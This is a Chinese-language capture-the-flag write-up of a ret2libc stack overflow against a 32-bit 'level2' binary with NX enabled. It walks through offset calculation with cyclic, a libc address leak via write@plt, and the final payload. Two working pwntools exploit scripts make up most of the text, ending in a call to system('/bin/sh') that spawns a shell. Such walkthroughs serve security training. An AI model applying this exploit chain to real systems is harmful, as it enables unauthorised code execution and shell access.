1.运行程序

2.检查程序。32位程序,动态链接,开启了NX(不可执行)保护。也就是说我们不能直接通过写shellcode然后让程序执行这段shellcode来pwn掉它。

3.载入IDA中。很显然有一个可以过量输入而造成的栈溢出。当然程序中并没有 system 和 /bin/sh ,因此我们需要到 libc 中去找到相应的代码,即ret2libc。

4.计算溢出点。
$cyclic 200 #生成200个字符 $cyclic -l xxxxxxxx #计算覆盖长度

5.通过 gdb 或者 ida 查看 plt 表,其中有 write@plt ,因此我们可以通过它将其他函数在内存中的地址打印出来,之后我们便可以得到 libc 的版本,从而获取 system 函数和 /bin/sh 字符串。


6.之后我们可以初步编辑 exp。执行后便可以得到相应函数的地址。
#!/usr/bin/env python
from pwn import *
p = process('./level2')
elf = ELF('level2')
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
libc_start_main = elf.plt['__libc_start_main']
func = 0x08048404
#print hex(libc_start_main)
payload = 'a' * 140
payload += p32(write_plt)
payload += p32(func)
payload += p32(1)
payload += p32(write_got) ##需要泄露的函数的地址
payload += p32(4)
p.sendline(payload)
p.interactive()
#print "read_got = 0xf7ec3cb0" ##得到 read_got 地址
#print "write_got = 0xf7ec3d80" ##得到 write_got 地址
7.根据得到的地址,我们可以通过 libc 来查找相应的 libc 版本,并得到 system 和 /bin/sh。

8.之后便能构造完整的 exp 了。
#!/usr/bin/env python
from pwn import *
p = process('./level2')
elf = ELF('level2')
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
libc_start_main = elf.plt['__libc_start_main']
func = 0x08048404
#print hex(libc_start_main)
payload = 'a' * 140
payload += p32(write_plt)
payload += p32(func)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
print "read_got = 0xf7ec3cb0"
print "write_got = 0xf7ec3d80"
#p.sendline(payload)
read_got = 0xf7ec3cb0
write_got = 0xf7ec3d80
base = write_got - 0x0e6d80
system = base + 0x03d200
bin_sh = base + 0x17e0cf
payload = '' #重新设置payload
payload += 'a' * 140
payload += p32(system)
payload += p32(0xdeadbeef) #system()的返回地址,我们之后并不做什么事情了,因此随意给了个值
payload += p32(bin_sh)
print hex(system)
print hex(bin_sh)
p.sendline(payload)
p.interactive()
